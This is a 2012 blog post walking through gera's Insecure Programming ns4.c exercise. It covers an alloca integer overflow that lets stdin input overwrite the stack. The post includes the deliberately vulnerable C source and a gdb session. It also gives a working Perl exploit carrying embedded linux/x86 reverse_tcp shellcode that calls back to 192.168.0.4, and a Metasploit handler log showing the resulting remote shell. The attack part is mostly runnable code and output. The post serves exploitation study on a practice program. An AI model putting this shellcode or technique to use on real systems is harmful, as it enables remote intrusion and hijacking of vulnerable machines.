Saturday, May 12, 2012

Numeric: ns4

Here is gera's Insecure Programming ns4.c with a few debugging printfs to help visualize some things.

 /* n4.c                                                      *
 * specially crafted to feed your brain by gera@core-sdi.com */

#include <stdio.h>
#include <string.h>
unsigned int count;

int main(int argv, char **argc) {
        char buf[80],**args;

        fscanf(stdin, "%u", &count);
        printf("unsigned int count = 0x%x (%u)\n", count, count);

        printf("\nunsigned int sizeof(char *) = 0x%x (%u)\n", sizeof(char *), sizeof(char *));

        args = alloca(count*sizeof(char*));
        printf("\nunsigned int count1.*sizeof(char *) = 0x%x (%u)\n", count*sizeof(char*), count*sizeof(char*));

        while (count--) {
                if (!fgets(buf,sizeof buf,stdin)) break;
                *args++=strdup(buf);
        }
}

This differs from ns3 in that args is now on the stack instead of bss. The stack will look something like this:

esp
[alloca 1] --> [strdup 1] --> heap
[alloca 2] --> [strdup 2] --> heap
[alloca 3] --> [strdup 3] --> heap
args --> [alloca 1]
buf[0]
buf[1]
...
buf[79]
saved ebp
saved eip

Notice how args is between alloca's allocation and the good stuff like saved eip.

As before, the math problem in alloca can be overflowed so that count is a very large number while the size allocated is very small; this allows me to write past alloca's allocation into args.

On the loop iteration that overwrites args itself, args will now point  somewhere on the heap. Instead of continuing to overwrite the stack with strdup return addresses, further iterations will now overwrite pieces of the heap section. I wasn't able to figure out anything valuable to overwrite with this method and thought I had reached a dead end.

While inputting a large unsigned int count value, -4 (4294967292), I noticed that alloca returned a pointer to the start of buf:

 (gdb) break 20
Breakpoint 1 at 0x80485b3: file ns4.c, line 20.
(gdb) run
Starting program: /home/dennis/ns4/ns4
-4
unsigned int count = 0xfffffffc (4294967292)

unsigned int sizeof(char *) = 0x4 (4)

unsigned int count*sizeof(char *) = 0xfffffff0 (4294967280)

Breakpoint 1, main (argv=1, argc=0xbffffb24) at ns4.c:20
20              while (count--) {
(gdb) x/x $esp
0xbffffa60:     0x00000001
(gdb) x/x args
0xbffffa60:     0x00000001
(gdb) x/x buf
0xbffffa60:     0x00000001


 I don't have the source code available to the really old version of Linux I've been using for these Gera examples to verify and my pointer math skills are fuzzy, but here are my (uneducated) thoughts on what may be happening.

If I could force alloca to allocate exactly 4 bytes, to hold one address, the stack would look like this:

esp
a40: alloca 1
a44: buf[0]

If I could force alloca to allocate the maximum number of bytes, 2^32 (4294967295), the stack would look exactly the same, because some pointer math within alloca would overflow back to the same spot:

esp
a40: alloca 1
a44: buf[0]

In my example, I'm supplying 4 less bytes than the maximum, the pointer math ends up equaling the start of buf.

This consequence allows the while loop to continue overwriting stack stuff like buf, saved ebp, and saved eip.
 
#!/usr/bin/perl

use warnings;
use strict;

# linux/x86/shell/reverse_tcp, LHOST=192.168.0.4, badchars "\x00\x0a", size 77
my $shellcode =
"\xd9\xd0\xbb\xc1\x92\xca\xd4\xd9\x74\x24\xf4\x5f\x2b\xc9" .
"\xb1\x0d\x31\x5f\x19\x03\x5f\x19\x83\xef\xfc\x23\x67\xfb" .
"\x0f\xf0\xcb\xaf\xc5\xf4\xa1\x29\x42\x71\xd4\x7b\xf2\x16" .
"\x4c\xec\x33\xb0\x73\xe8\xd5\xa8\x62\xac\x7f\x7b\x0c\xad" .
"\xea\x1d\x56\x7e\xba\xb6\xef\x9f\x7f\xf5\x70\x04\x19\xb3" .
"\x7d\x0b\x1a\x76\xfd\x94\xfc";

# buf is 80 bytes long - \n - \0
my $nops = "\x90" x (78-length($shellcode));

print "-4"; # alloca returns buf somehow

# 24 rows of filler
for (my $i = 1; $i < 24; $i++) {
        print "AAAA";
        print "\n"
}

print $nops . $shellcode . "\n";

 In action

msf > use multi/handler
msf  exploit(handler) > set PAYLOAD linux/x86/shell/reverse_tcp
PAYLOAD => linux/x86/shell/reverse_tcp
msf  exploit(handler) > set LHOST 192.168.0.4
LHOST => 192.168.0.4
msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Sending stage (36 bytes) to 192.168.0.38
[*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.38:49200) at 2012-05-12 12:33:22 -0500

id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/ns4



No comments:

Post a Comment